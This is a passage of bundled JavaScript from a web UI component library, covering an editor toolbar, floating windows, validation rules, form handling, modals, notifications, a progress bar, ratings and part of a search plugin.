sel = window.getSelection(); var range = sel.getRangeAt(0); if (first == true) { var node = range.startContainer; var size = 0; } else { var node = range.endContainer; var size = node.length; } range.setStart(node, size); range.setEnd(node, size); sel.removeAllRanges(); sel.addRange(range); } Component.getDefaultToolbar = function(obj) { var color = function(a,b,c) { if (! c.color) { var t = null; var colorPicker = Color(c, { onchange: function(o, v) { if (c.k === 'color') { document.execCommand('foreColor', false, v); } else { document.execCommand('backColor', false, v); } } }); c.color.open(); } } var items = []; items.push({ content: 'undo', onclick: function() { document.execCommand('undo'); } }); items.push({ content: 'redo', onclick: function() { document.execCommand('redo'); } }); items.push({ type: 'divisor' }); if (obj.options.toolbarOnTop) { items.push({ type: 'select', width: '140px', options: ['Default', 'Verdana', 'Arial', 'Courier New'], render: function (e) { return '<span style="font-family:' + e + '">' + e + '</span>'; }, onchange: function (a,b,c,d,e) { document.execCommand("fontName", false, d); } }); items.push({ type: 'select', content: 'format_size', options: ['x-small', 'small', 'medium', 'large', 'x-large'], render: function (e) { return '<span style="font-size:' + e + '">' + e + '</span>'; }, onchange: function (a,b,c,d,e) { //var html = `<span style="font-size: ${c}">${text}</span>`; //document.execCommand('insertHtml', false, html); document.execCommand("fontSize", false, parseInt(e)+1); //var f = window.getSelection().anchorNode.parentNode //f.removeAttribute("size"); //f.style.fontSize = d; } }); items.push({ type: 'select', options: ['format_align_left', 'format_align_center', 'format_align_right', 'format_align_justify'], render: function (e) { return '<i class="material-icons">' + e + '</i>'; }, onchange: function (a,b,c,d,e) { var options = ['JustifyLeft','justifyCenter','justifyRight','justifyFull']; document.execCommand(options[e]); } }); items.push({ type: 'divisor' }); items.push({ content: 'format_color_text', k: 'color', onclick: color, }); items.push({ content: 'format_color_fill', k: 'background-color', onclick: color, }); } items.push({ content: 'format_bold', onclick: function(a,b,c) { document.execCommand('bold'); if (document.queryCommandState("bold")) { c.classList.add('selected'); } else { c.classList.remove('selected'); } } }); items.push({ content: 'format_italic', onclick: function(a,b,c) { document.execCommand('italic'); if (document.queryCommandState("italic")) { c.classList.add('selected'); } else { c.classList.remove('selected'); } } }); items.push({ content: 'format_underline', onclick: function(a,b,c) { document.execCommand('underline'); if (document.queryCommandState("underline")) { c.classList.add('selected'); } else { c.classList.remove('selected'); } } }); items.push({ type:'divisor' }); items.push({ content: 'format_list_bulleted', onclick: function(a,b,c) { document.execCommand('insertUnorderedList'); if (document.queryCommandState("insertUnorderedList")) { c.classList.add('selected'); } else { c.classList.remove('selected'); } } }); items.push({ content: 'format_list_numbered', onclick: function(a,b,c) { document.execCommand('insertOrderedList'); if (document.queryCommandState("insertOrderedList")) { c.classList.add('selected'); } else { c.classList.remove('selected'); } } }); items.push({ content: 'format_indent_increase', onclick: function(a,b,c) { document.execCommand('indent', true, null); if (document.queryCommandState("indent")) { c.classList.add('selected'); } else { c.classList.remove('selected'); } } }); items.push({ content: 'format_indent_decrease', onclick: function() { document.execCommand('outdent'); if (document.queryCommandState("outdent")) { this.classList.add('selected'); } else { this.classList.remove('selected'); } } }); if (obj.options.toolbarOnTop) { items.push({ type: 'divisor' }); items.push({ content: 'photo', onclick: function () { obj.upload(); } }); items.push({ type: 'select', content: 'table_view', columns: 8, grid: 8, right: true, options: [ '0x0', '1x0', '2x0', '3x0', '4x0', '5x0', '6x0', '7x0', '0x1', '1x1', '2x1', '3x1', '4x1', '5x1', '6x1', '7x1', '0x2', '1x2', '2x2', '3x2', '4x2', '5x2', '6x2', '7x2', '0x3', '1x3', '2x3', '3x3', '4x3', '5x3', '6x3', '7x3', '0x4', '1x4', '2x4', '3x4', '4x4', '5x4', '6x4', '7x4', '0x5', '1x5', '2x5', '3x5', '4x5', '5x5', '6x5', '7x5', '0x6', '1x6', '2x6', '3x6', '4x6', '5x6', '6x6', '7x6', '0x7', '1x7', '2x7', '3x7', '4x7', '5x7', '6x7', '7x7', ], render: function (e, item) { if (item) { item.onmouseover = this.onmouseover; e = e.split('x'); item.setAttribute('data-x', e[0]); item.setAttribute('data-y', e[1]); } var element = document.createElement('div'); item.style.margin = '1px'; item.style.border = '1px solid #ddd'; return element; }, onmouseover: function (e) { var x = parseInt(e.target.getAttribute('data-x')); var y = parseInt(e.target.getAttribute('data-y')); for (var i = 0; i < e.target.parentNode.children.length; i++) { var element = e.target.parentNode.children[i]; var ex = parseInt(element.getAttribute('data-x')); var ey = parseInt(element.getAttribute('data-y')); if (ex <= x && ey <= y) { element.style.backgroundColor = '#cae1fc'; element.style.borderColor = '#2977ff'; } else { element.style.backgroundColor = ''; element.style.borderColor = '#ddd'; } } }, onchange: function (a, b, c) { c = c.split('x'); var table = document.createElement('table'); var tbody = document.createElement('tbody'); for (var y = 0; y <= c[1]; y++) { var tr = document.createElement('tr'); for (var x = 0; x <= c[0]; x++) { var td = document.createElement('td'); td.innerHTML = ''; tr.appendChild(td); } tbody.appendChild(tr); } table.appendChild(tbody); table.setAttribute('width', '100%'); table.setAttribute('cellpadding', '6'); table.setAttribute('cellspacing', '0'); document.execCommand('insertHTML', false, table.outerHTML); } }); } return items; } return Component; } /* harmony default export */ var editor = (Editor()); ;// CONCATENATED MODULE: ./src/plugins/floating.js function Floating() { var Component = (function (el, options) { var obj = {}; obj.options = {}; // Default configuration var defaults = { type: 'big', title: 'Untitled', width: 510, height: 472, } // Loop through our object for (var property in defaults) { if (options && options.hasOwnProperty(property)) { obj.options[property] = options[property]; } else { obj.options[property] = defaults[property]; } } // Private methods var setContent = function () { var temp = document.createElement('div'); while (el.children[0]) { temp.appendChild(el.children[0]); } obj.content = document.createElement('div'); obj.content.className = 'jfloating_content'; obj.content.innerHTML = el.innerHTML; while (temp.children[0]) { obj.content.appendChild(temp.children[0]); } obj.container = document.createElement('div'); obj.container.className = 'jfloating'; obj.container.appendChild(obj.content); if (obj.options.title) { obj.container.setAttribute('title', obj.options.title); } else { obj.container.classList.add('no-title'); } // validate element dimensions if (obj.options.width) { obj.container.style.width = parseInt(obj.options.width) + 'px'; } if (obj.options.height) { obj.container.style.height = parseInt(obj.options.height) + 'px'; } el.innerHTML = ''; el.appendChild(obj.container); } var setEvents = function () { if (obj.container) { obj.container.addEventListener('click', function (e) { var rect = e.target.getBoundingClientRect(); if (e.target.classList.contains('jfloating')) { if (e.changedTouches && e.changedTouches[0]) { var x = e.changedTouches[0].clientX; var y = e.changedTouches[0].clientY; } else { var x = e.clientX; var y = e.clientY; } if (rect.width - (x - rect.left) < 50 && (y - rect.top) < 50) { setTimeout(function () { obj.close(); }, 100); } else { obj.setState(); } } }); } } var setType = function () { obj.container.classList.add('jfloating-' + obj.options.type); } obj.state = { isMinized: false, } obj.setState = function () { if (obj.state.isMinized) { obj.container.classList.remove('jfloating-minimized'); } else { obj.container.classList.add('jfloating-minimized'); } obj.state.isMinized = !obj.state.isMinized; } obj.close = function () { Components.elements.splice(Component.elements.indexOf(obj.container), 1); obj.updatePosition(); el.remove(); } obj.updatePosition = function () { for (var i = 0; i < Component.elements.length; i++) { var floating = Component.elements[i]; var prevFloating = Component.elements[i - 1]; floating.style.right = i * (prevFloating ? prevFloating.offsetWidth : floating.offsetWidth) * 1.01 + 'px'; } } obj.init = function () { // Set content into root setContent(); // Set dialog events setEvents(); // Set dialog type setType(); // Update floating position Component.elements.push(obj.container); obj.updatePosition(); el.floating = obj; } obj.init(); return obj; }); Component.elements = []; return Component; } /* harmony default export */ var floating = (Floating()); ;// CONCATENATED MODULE: ./src/plugins/validations.js function Validations() { /** * Options: Object, * Properties: * Constraint, * Reference, * Value */ const isNumeric = function(num) { return !isNaN(num) && num !== null && num !== ''; } const numberCriterias = { 'between': function(value, range) { return value >= range[0] && value <= range[1]; }, 'not between': function(value, range) { return value < range[0] || value > range[1]; }, '<': function(value, range) { return value < range[0]; }, '<=': function(value, range) { return value <= range[0]; }, '>': function(value, range) { return value > range[0]; }, '>=': function(value, range) { return value >= range[0]; }, '=': function(value, range) { return value == range[0]; }, '!=': function(value, range) { return value != range[0]; }, } const dateCriterias = { 'valid date': function() { return true; }, '=': function(value, range) { return value === range[0]; }, '!=': function(value, range) { return value !== range[0]; }, '<': function(value, range) { return value < range[0]; }, '<=': function(value, range) { return value <= range[0]; }, '>': function(value, range) { return value > range[0]; }, '>=': function(value, range) { return value >= range[0]; }, 'between': function(value, range) { return value >= range[0] && value <= range[1]; }, 'not between': function(value, range) { return value < range[0] || value > range[1]; }, } const textCriterias = { 'contains': function(value, range) { return value.includes(range[0]); }, 'not contains': function(value, range) { return !value.includes(range[0]); }, 'begins with': function(value, range) { return value.startsWith(range[0]); }, 'ends with': function(value, range) { return value.endsWith(range[0]); }, '=': function(value, range) { return value === range[0]; }, '!=': function(value, range) { return value !== range[0]; }, 'valid email': function(value) { var pattern = new RegExp(/^[^\s@]+@[^\s@]+\.[^\s@]+$/); return pattern.test(value); }, 'valid url': function(value) { var pattern = new RegExp(/(((https?:\/\/)|(www\.))[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|]+)/ig); return pattern.test(value); }, } // Component router const component = function(value, options) { if (typeof(component[options.type]) === 'function') { if (options.allowBlank && value === '') { return true; } return component[options.type](value, options); } return null; } component.url = function() { var pattern = new RegExp(/(((https?:\/\/)|(www\.))[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|]+)/ig); return pattern.test(data) ? true : false; } component.email = function(data) { var pattern = new RegExp(/^[^\s@]+@[^\s@]+\.[^\s@]+$/); return data && pattern.test(data) ? true : false; } component.required = function(data) { return data.trim() ? true : false; } component.exist = function(data, options) { return !!data.toString().trim(); } component['not exist'] = function(data, options) { return !data.toString().trim(); } component.empty = function(data) { return !data.toString().trim(); } component.notEmpty = function(data) { return !!data.toString().trim(); } component.number = function(data, options) { if (! isNumeric(data)) { return false; } if (!options || !options.criteria) { return true; } if (!numberCriterias[options.criteria]) { return false; } let values = options.value.map(function(num) { return parseFloat(num); }) return numberCriterias[options.criteria](data, values); }; component.login = function(data) { let pattern = new RegExp(/^[a-zA-Z0-9._-]+$/); return data && pattern.test(data) ? true : false; } component.list = function(data, options) { let dataType = typeof data; if (dataType !== 'string' && dataType !== 'number') { return false; } let list; if (typeof(options.value[0]) === 'string') { list = options.value[0].split(','); } else { list = options.value[0]; } if (! Array.isArray(list)) { return false; } else { let validOption = list.findIndex(function (item) { return item == data; }); return validOption > -1; } } const getCurrentDateWithoutTime = function() { let date = new Date(); date.setHours(0, 0, 0, 0); return date; } const relativeDates = { 'one year ago': function() { let date = getCurrentDateWithoutTime(); date.setFullYear(date.getFullYear() - 1); return date; }, 'one month ago': function() { let date = getCurrentDateWithoutTime(); date.setMonth(date.getMonth() - 1); return date; }, 'one week ago': function() { let date = getCurrentDateWithoutTime(); date.setDate(date.getDate() - 7); return date; }, yesterday: function() { let date = getCurrentDateWithoutTime(); date.setDate(date.getDate() - 1); return date; }, today: getCurrentDateWithoutTime, tomorrow: function() { let date = getCurrentDateWithoutTime(); date.setDate(date.getDate() + 1); return date; }, }; component.date = function(data, options) { if (isNumeric(data) && data > 0 && data < 1000000) { data = helpers_date.numToDate(data); } if (new Date(data) == 'Invalid Date') { return false; } if (!options || !options.criteria) { return true; } if (!dateCriterias[options.criteria]) { return false; } let values = options.value.map(function(date) { if (typeof date === 'string' && relativeDates[date]) { return relativeDates[date]().getTime(); } return new Date(date).getTime(); }); return dateCriterias[options.criteria](new Date(data).getTime(), values); } component.text = function(data, options) { if (typeof data !== 'string') { return false; } if (!options || !options.criteria) { return true; } if (!textCriterias[options.criteria]) { return false; } return textCriterias[options.criteria](data, options.value); } component.textLength = function(data, options) { data = data.toString(); return component.number(data.length, options); } return component; } /* harmony default export */ var validations = (Validations()); ;// CONCATENATED MODULE: ./src/plugins/form.js function Form() { var Component = (function(el, options) { var obj = {}; obj.options = {}; // Default configuration var defaults = { url: null, message: 'Are you sure? There are unsaved information in your form', ignore: false, currentHash: null, submitButton:null, validations: null, onbeforeload: null, onload: null, onbeforesave: null, onsave: null, onbeforeremove: null, onremove: null, onerror: function(el, message) { alert(message); } }; // Loop through our object for (var property in defaults) { if (options && options.hasOwnProperty(property)) { obj.options[property] = options[property]; } else { obj.options[property] = defaults[property]; } } // Validations if (! obj.options.validations) { obj.options.validations = {}; } // Submit Button if (! obj.options.submitButton) { obj.options.submitButton = el.querySelector('input[type=submit]'); } if (obj.options.submitButton && obj.options.url) { obj.options.submitButton.onclick = function() { obj.save(); } } if (! obj.options.validations.email) { obj.options.validations.email = validations.email; } if (! obj.options.validations.length) { obj.options.validations.length = validations.length; } if (! obj.options.validations.required) { obj.options.validations.required = validations.required; } obj.setUrl = function(url) { obj.options.url = url; } obj.load = function() { ajax({ url: obj.options.url, method: 'GET', dataType: 'json', queue: true, success: function(data) { // Overwrite values from the backend if (typeof(obj.options.onbeforeload) == 'function') { var ret = obj.options.onbeforeload(el, data); if (ret) { data = ret; } } // Apply values to the form Component.setElements(el, data); // Onload methods if (typeof(obj.options.onload) == 'function') { obj.options.onload(el, data); } } }); } obj.save = function() { var test = obj.validate(); if (test) { obj.options.onerror(el, test); } else { var data = Component.getElements(el, true); if (typeof(obj.options.onbeforesave) == 'function') { var data = obj.options.onbeforesave(el, data); if (data === false) { return; } } ajax({ url: obj.options.url, method: 'POST', dataType: 'json', data: data, success: function(result) { if (typeof(obj.options.onsave) == 'function') { obj.options.onsave(el, data, result); } } }); } } obj.remove = function() { if (typeof(obj.options.onbeforeremove) == 'function') { var ret = obj.options.onbeforeremove(el, obj); if (ret === false) { return false; } } ajax({ url: obj.options.url, method: 'DELETE', dataType: 'json', success: function(result) { if (typeof(obj.options.onremove) == 'function') { obj.options.onremove(el, obj, result); } obj.reset(); } }); } var addError = function(element) { // Add error in the element element.classList.add('error'); // Submit button if (obj.options.submitButton) { obj.options.submitButton.setAttribute('disabled', true); } // Return error message var error = element.getAttribute('data-error') || 'There is an error in the form'; element.setAttribute('title', error); return error; } var delError = function(element) { var error = false; // Remove class from this element element.classList.remove('error'); element.removeAttribute('title'); // Get elements in the form var elements = el.querySelectorAll("input, select, textarea, div[name]"); // Run all elements for (var i = 0; i < elements.length; i++) { if (elements[i].getAttribute('data-validation')) { if (elements[i].classList.contains('error')) { error = true; } } } if (obj.options.submitButton) { if (error) { obj.options.submitButton.setAttribute('disabled', true); } else { obj.options.submitButton.removeAttribute('disabled'); } } } obj.validateElement = function(element) { // Test results var test = false; // Value var value = Component.getValue(element); // Validation var validation = element.getAttribute('data-validation'); // Parse if (typeof(obj.options.validations[validation]) == 'function' && ! obj.options.validations[validation](value, element)) { // Not passed in the test test = addError(element); } else { if (element.classList.contains('error')) { delError(element); } } return test; } obj.reset = function() { // Get elements in the form var name = null; var elements = el.querySelectorAll("input, select, textarea, div[name]"); // Run all elements for (var i = 0; i < elements.length; i++) { if (name = elements[i].getAttribute('name')) { if (elements[i].type == 'checkbox' || elements[i].type == 'radio') { elements[i].checked = false; } else { if (typeof(elements[i].val) == 'function') { elements[i].val(''); } else { elements[i].value = ''; } } } } } // Run form validation obj.validate = function() { var test = []; // Get elements in the form var elements = el.querySelectorAll("input, select, textarea, div[name]"); // Run all elements for (var i = 0; i < elements.length; i++) { // Required if (elements[i].getAttribute('data-validation')) { var res = obj.validateElement(elements[i]); if (res) { test.push(res); } } } if (test.length > 0) { return test.join('<br>'); } else { return false; } } // Check the form obj.getError = function() { // Validation return obj.validation() ? true : false; } // Return the form hash obj.setHash = function() { return obj.getHash(Component.getElements(el)); } // Get the form hash obj.getHash = function(str) { var hash = 0, i, chr; if (str.length === 0) { return hash; } else { for (i = 0; i < str.length; i++) { chr = str.charCodeAt(i); hash = ((hash << 5) - hash) + chr; hash |= 0; } } return hash; } // Is there any change in the form since start tracking? obj.isChanged = function() { var hash = obj.setHash(); return (obj.options.currentHash != hash); } // Restart tracking obj.resetTracker = function() { obj.options.currentHash = obj.setHash(); obj.options.ignore = false; } // Ignore flag obj.setIgnore = function(ignoreFlag) { obj.options.ignore = ignoreFlag ? true : false; } // Start tracking in one second setTimeout(function() { obj.options.currentHash = obj.setHash(); }, 1000); // Validations el.addEventListener("keyup", function(e) { if (e.target.getAttribute('data-validation')) { obj.validateElement(e.target); } }); // Alert if (! Component.hasEvents) { window.addEventListener("beforeunload", function (e) { if (obj.isChanged() && obj.options.ignore == false) { var confirmationMessage = obj.options.message? obj.options.message : "\o/"; if (confirmationMessage) { if (typeof e == 'undefined') { e = window.event; } if (e) { e.returnValue = confirmationMessage; } return confirmationMessage; } else { return void(0); } } }); Component.hasEvents = true; } el.form = obj; return obj; }); // Get value from one element Component.getValue = function(element) { var value = null; if (element.type == 'checkbox') { if (element.checked == true) { value = element.value || true; } } else if (element.type == 'radio') { if (element.checked == true) { value = element.value; } } else if (element.type == 'file') { value = element.files; } else if (element.tagName == 'select' && element.multiple == true) { value = []; var options = element.querySelectorAll("options[selected]"); for (var j = 0; j < options.length; j++) { value.push(options[j].value); } } else if (typeof(element.val) == 'function') { value = element.val(); } else { value = element.value || ''; } return value; } // Get form elements Component.getElements = function(el, asArray) { var data = {}; var name = null; var elements = el.querySelectorAll("input, select, textarea, div[name]"); for (var i = 0; i < elements.length; i++) { if (name = elements[i].getAttribute('name')) { data[name] = Component.getValue(elements[i]) || ''; } } return asArray == true ? data : JSON.stringify(data); } //Get form elements Component.setElements = function(el, data) { var name = null; var value = null; var elements = el.querySelectorAll("input, select, textarea, div[name]"); for (var i = 0; i < elements.length; i++) { // Attributes var type = elements[i].getAttribute('type'); if (name = elements[i].getAttribute('name')) { // Transform variable names in pathname name = name.replace(new RegExp(/\[(.*?)\]/ig), '.$1'); value = null; // Seach for the data in the path if (name.match(/\./)) { var tmp = Path.call(data, name) || ''; if (typeof(tmp) !== 'undefined') { value = tmp; } } else { if (typeof(data[name]) !== 'undefined') { value = data[name]; } } // Set the values if (value !== null) { if (type == 'checkbox' || type == 'radio') { elements[i].checked = value ? true : false; } else if (type == 'file') { // Do nothing } else { if (typeof (elements[i].val) == 'function') { elements[i].val(value); } else { elements[i].value = value; } } } } } } return Component; } /* harmony default export */ var plugins_form = (Form()); ;// CONCATENATED MODULE: ./src/plugins/modal.js function Modal() { var Events = function() { // Position var tracker = null; var keyDown = function (e) { if (e.which == 27) { var modals = document.querySelectorAll('.jmodal'); for (var i = 0; i < modals.length; i++) { modals[i].parentNode.modal.close(); } } } var mouseUp = function (e) { let element = e.composedPath(); var item = helpers.findElement(element[0], 'jmodal'); if (item) { // Get target info var rect = item.getBoundingClientRect(); if (e.changedTouches && e.changedTouches[0]) { var x = e.changedTouches[0].clientX; var y = e.changedTouches[0].clientY; } else { var x = e.clientX; var y = e.clientY; } if (rect.width - (x - rect.left) < 50 && (y - rect.top) < 50) { item.parentNode.modal.close(); } } if (tracker) { tracker.element.style.cursor = 'auto'; tracker = null; } } var mouseDown = function (e) { let element = e.composedPath(); var item = helpers.findElement(element[0], 'jmodal'); if (item) { // Get target info var rect = item.getBoundingClientRect(); if (e.changedTouches && e.changedTouches[0]) { var x = e.changedTouches[0].clientX; var y = e.changedTouches[0].clientY; } else { var x = e.clientX; var y = e.clientY; } if (rect.width - (x - rect.left) < 50 && (y - rect.top) < 50) { // Do nothing } else { if (y - rect.top < 50) { if (document.selection) { document.selection.empty(); } else if (window.getSelection) { window.getSelection().removeAllRanges(); } tracker = { left: rect.left, top: rect.top, x: e.clientX, y: e.clientY, width: rect.width, height: rect.height, element: item, } } } } } var mouseMove = function (e) { if (tracker) { e = e || window.event; if (e.buttons) { var mouseButton = e.buttons; } else if (e.button) { var mouseButton = e.button; } else { var mouseButton = e.which; } if (mouseButton) { tracker.element.style.top = (tracker.top + (e.clientY - tracker.y) + (tracker.height / 2)) + 'px'; tracker.element.style.left = (tracker.left + (e.clientX - tracker.x) + (tracker.width / 2)) + 'px'; tracker.element.style.cursor = 'move'; } else { tracker.element.style.cursor = 'auto'; } } } document.addEventListener('keydown', keyDown); document.addEventListener('mouseup', mouseUp); document.addEventListener('mousedown', mouseDown); document.addEventListener('mousemove', mouseMove); } var Component = (function (el, options) { var obj = {}; obj.options = {}; // Default configuration var defaults = { url: null, onopen: null, onclose: null, onload: null, closed: false, width: null, height: null, title: null, padding: null, backdrop: true, icon: null, }; // Loop through our object for (var property in defaults) { if (options && options.hasOwnProperty(property)) { obj.options[property] = options[property]; } else { obj.options[property] = defaults[property]; } } // Title if (!obj.options.title && el.getAttribute('title')) { obj.options.title = el.getAttribute('title'); } var temp = document.createElement('div'); while (el.children[0]) { temp.appendChild(el.children[0]); } obj.title = document.createElement('div'); obj.title.className = 'jmodal_title'; if (obj.options.icon) { obj.title.setAttribute('data-icon', obj.options.icon); } obj.content = document.createElement('div'); obj.content.className = 'jmodal_content'; obj.content.innerHTML = el.innerHTML; while (temp.children[0]) { obj.content.appendChild(temp.children[0]); } obj.container = document.createElement('div'); obj.container.className = 'jmodal'; obj.container.appendChild(obj.title); obj.container.appendChild(obj.content); if (obj.options.padding) { obj.content.style.padding = obj.options.padding; } if (obj.options.width) { obj.container.style.width = obj.options.width; } if (obj.options.height) { obj.container.style.height = obj.options.height; } if (obj.options.title) { var title = document.createElement('h4'); title.innerText = obj.options.title; obj.title.appendChild(title); } el.innerHTML = ''; el.style.display = 'none'; el.appendChild(obj.container); // Backdrop if (obj.options.backdrop) { var backdrop = document.createElement('div'); backdrop.className = 'jmodal_backdrop'; backdrop.onclick = function () { obj.close(); } el.appendChild(backdrop); } obj.open = function () { el.style.display = 'block'; // Fullscreen var rect = obj.container.getBoundingClientRect(); if (helpers.getWindowWidth() < rect.width) { obj.container.style.top = ''; obj.container.style.left = ''; obj.container.classList.add('jmodal_fullscreen'); animation.slideBottom(obj.container, 1); } else { if (obj.options.backdrop) { backdrop.style.display = 'block'; } } // Event if (typeof (obj.options.onopen) == 'function') { obj.options.onopen(el, obj); } } obj.resetPosition = function () { obj.container.style.top = ''; obj.container.style.left = ''; } obj.isOpen = function () { return el.style.display != 'none' ? true : false; } obj.close = function () { if (obj.isOpen()) { el.style.display = 'none'; if (obj.options.backdrop) { // Backdrop backdrop.style.display = ''; } // Remove fullscreen class obj.container.classList.remove('jmodal_fullscreen'); // Event if (typeof (obj.options.onclose) == 'function') { obj.options.onclose(el, obj); } } } if (obj.options.url) { ajax({ url: obj.options.url, method: 'GET', dataType: 'text/html', success: function (data) { obj.content.innerHTML = data; if (!obj.options.closed) { obj.open(); } if (typeof (obj.options.onload) === 'function') { obj.options.onload(obj); } } }); } else { if (!obj.options.closed) { obj.open(); } if (typeof (obj.options.onload) === 'function') { obj.options.onload(obj); } } // Keep object available from the node el.modal = obj; // Create events when the first modal is create only Events(); // Execute the events only once Events = function() {}; return obj; }); return Component; } /* harmony default export */ var modal = (Modal()); ;// CONCATENATED MODULE: ./src/plugins/notification.js function Notification() { var Component = function (options) { var obj = {}; obj.options = {}; // Default configuration var defaults = { icon: null, name: 'Notification', date: null, error: null, title: null, message: null, timeout: 4000, autoHide: true, closeable: true, }; // Loop through our object for (var property in defaults) { if (options && options.hasOwnProperty(property)) { obj.options[property] = options[property]; } else { obj.options[property] = defaults[property]; } } var notification = document.createElement('div'); notification.className = 'jnotification'; if (obj.options.error) { notification.classList.add('jnotification-error'); } var notificationContainer = document.createElement('div'); notificationContainer.className = 'jnotification-container'; notification.appendChild(notificationContainer); var notificationHeader = document.createElement('div'); notificationHeader.className = 'jnotification-header'; notificationContainer.appendChild(notificationHeader); var notificationImage = document.createElement('div'); notificationImage.className = 'jnotification-image'; notificationHeader.appendChild(notificationImage); if (obj.options.icon) { var notificationIcon = document.createElement('img'); notificationIcon.src = obj.options.icon; notificationImage.appendChild(notificationIcon); } var notificationName = document.createElement('div'); notificationName.className = 'jnotification-name'; notificationName.innerHTML = obj.options.name; notificationHeader.appendChild(notificationName); if (obj.options.closeable == true) { var notificationClose = document.createElement('div'); notificationClose.className = 'jnotification-close'; notificationClose.onclick = function () { obj.hide(); } notificationHeader.appendChild(notificationClose); } var notificationDate = document.createElement('div'); notificationDate.className = 'jnotification-date'; notificationHeader.appendChild(notificationDate); var notificationContent = document.createElement('div'); notificationContent.className = 'jnotification-content'; notificationContainer.appendChild(notificationContent); if (obj.options.title) { var notificationTitle = document.createElement('div'); notificationTitle.className = 'jnotification-title'; notificationTitle.innerHTML = obj.options.title; notificationContent.appendChild(notificationTitle); } var notificationMessage = document.createElement('div'); notificationMessage.className = 'jnotification-message'; notificationMessage.innerHTML = obj.options.message; notificationContent.appendChild(notificationMessage); obj.show = function () { document.body.appendChild(notification); if (helpers.getWindowWidth() > 800) { animation.fadeIn(notification); } else { animation.slideTop(notification, 1); } } obj.hide = function () { if (helpers.getWindowWidth() > 800) { animation.fadeOut(notification, function () { if (notification.parentNode) { notification.parentNode.removeChild(notification); if (notificationTimeout) { clearTimeout(notificationTimeout); } } }); } else { animation.slideTop(notification, 0, function () { if (notification.parentNode) { notification.parentNode.removeChild(notification); if (notificationTimeout) { clearTimeout(notificationTimeout); } } }); } }; obj.show(); if (obj.options.autoHide == true) { var notificationTimeout = setTimeout(function () { obj.hide(); }, obj.options.timeout); } if (helpers.getWindowWidth() < 800) { notification.addEventListener("swipeup", function (e) { obj.hide(); e.preventDefault(); e.stopPropagation(); }); } return obj; } Component.isVisible = function () { var j = document.querySelector('.jnotification'); return j && j.parentNode ? true : false; } return Component; } /* harmony default export */ var notification = (Notification()); ;// CONCATENATED MODULE: ./src/plugins/progressbar.js function Progressbar(el, options) { var obj = {}; obj.options = {}; // Default configuration var defaults = { value: 0, onchange: null, width: null, }; // Loop through the initial configuration for (var property in defaults) { if (options && options.hasOwnProperty(property)) { obj.options[property] = options[property]; } else { obj.options[property] = defaults[property]; } } // Class el.classList.add('jprogressbar'); el.setAttribute('tabindex', 1); el.setAttribute('data-value', obj.options.value); var bar = document.createElement('div'); bar.style.width = obj.options.value + '%'; bar.style.color = '#fff'; el.appendChild(bar); if (obj.options.width) { el.style.width = obj.options.width; } // Set value obj.setValue = function(value) { value = parseInt(value); obj.options.value = value; bar.style.width = value + '%'; el.setAttribute('data-value', value + '%'); if (value < 6) { el.style.color = '#000'; } else { el.style.color = '#fff'; } // Update value obj.options.value = value; if (typeof(obj.options.onchange) == 'function') { obj.options.onchange(el, value); } // Lemonade JS if (el.value != obj.options.value) { el.value = obj.options.value; if (typeof(el.oninput) == 'function') { el.oninput({ type: 'input', target: el, value: el.value }); } } } obj.getValue = function() { return obj.options.value; } var action = function(e) { if (e.which) { // Get target info var rect = el.getBoundingClientRect(); if (e.changedTouches && e.changedTouches[0]) { var x = e.changedTouches[0].clientX; var y = e.changedTouches[0].clientY; } else { var x = e.clientX; var y = e.clientY; } obj.setValue(Math.round((x - rect.left) / rect.width * 100)); } } // Events if ('touchstart' in document.documentElement === true) { el.addEventListener('touchstart', action); el.addEventListener('touchend', action); } else { el.addEventListener('mousedown', action); el.addEventListener("mousemove", action); } // Change el.change = obj.setValue; // Global generic value handler el.val = function(val) { if (val === undefined) { return obj.getValue(); } else { obj.setValue(val); } } // Reference el.progressbar = obj; return obj; } ;// CONCATENATED MODULE: ./src/plugins/rating.js function Rating(el, options) { // Already created, update options if (el.rating) { return el.rating.setOptions(options, true); } // New instance var obj = {}; obj.options = {}; obj.setOptions = function(options, reset) { // Default configuration var defaults = { number: 5, value: 0, tooltip: [ 'Very bad', 'Bad', 'Average', 'Good', 'Very good' ], onchange: null, }; // Loop through the initial configuration for (var property in defaults) { if (options && options.hasOwnProperty(property)) { obj.options[property] = options[property]; } else { if (typeof(obj.options[property]) == 'undefined' || reset === true) { obj.options[property] = defaults[property]; } } } // Make sure the container is empty el.innerHTML = ''; // Add elements for (var i = 0; i < obj.options.number; i++) { var div = document.createElement('div'); div.setAttribute('data-index', (i + 1)) div.setAttribute('title', obj.options.tooltip[i]) el.appendChild(div); } // Selected option if (obj.options.value) { for (var i = 0; i < obj.options.number; i++) { if (i < obj.options.value) { el.children[i].classList.add('jrating-selected'); } } } return obj; } // Set value obj.setValue = function(index) { for (var i = 0; i < obj.options.number; i++) { if (i < index) { el.children[i].classList.add('jrating-selected'); } else { el.children[i].classList.remove('jrating-over'); el.children[i].classList.remove('jrating-selected'); } } obj.options.value = index; if (typeof(obj.options.onchange) == 'function') { obj.options.onchange(el, index); } // Lemonade JS if (el.value != obj.options.value) { el.value = obj.options.value; if (typeof(el.oninput) == 'function') { el.oninput({ type: 'input', target: el, value: el.value }); } } } obj.getValue = function() { return obj.options.value; } var init = function() { // Start plugin obj.setOptions(options); // Class el.classList.add('jrating'); // Events el.addEventListener("click", function(e) { var index = e.target.getAttribute('data-index'); if (index != undefined) { if (index == obj.options.value) { obj.setValue(0); } else { obj.setValue(index); } } }); el.addEventListener("mouseover", function(e) { var index = e.target.getAttribute('data-index'); for (var i = 0; i < obj.options.number; i++) { if (i < index) { el.children[i].classList.add('jrating-over'); } else { el.children[i].classList.remove('jrating-over'); } } }); el.addEventListener("mouseout", function(e) { for (var i = 0; i < obj.options.number; i++) { el.children[i].classList.remove('jrating-over'); } }); // Change el.change = obj.setValue; // Global generic value handler el.val = function(val) { if (val === undefined) { return obj.getValue(); } else { obj.setValue(val); } } // Reference el.rating = obj; } init(); return obj; } ;// CONCATENATED MODULE: ./src/plugins/search.js function Search(el, options) { if (el.search) { return el.search; } var index = null; var select = function(e) { if (e.target.classList.contains('jsearch_item')) { var element = e.target; } else { var element = e.target.parentNode; } obj.selectIndex(element); e.preventDefault(); } var createList = function(data) { if (typeof(obj.options.onsearch) == 'function') { var ret = obj.options.onsearch(obj, data); if (ret) { data = ret; } } // Reset container container.innerHTML = ''; // Print results if (! data.length) { // Show container el.style.display = ''; } else { // Show container el.style.display = 'block'; // Show items (only 10) var len = data.length < 11 ? 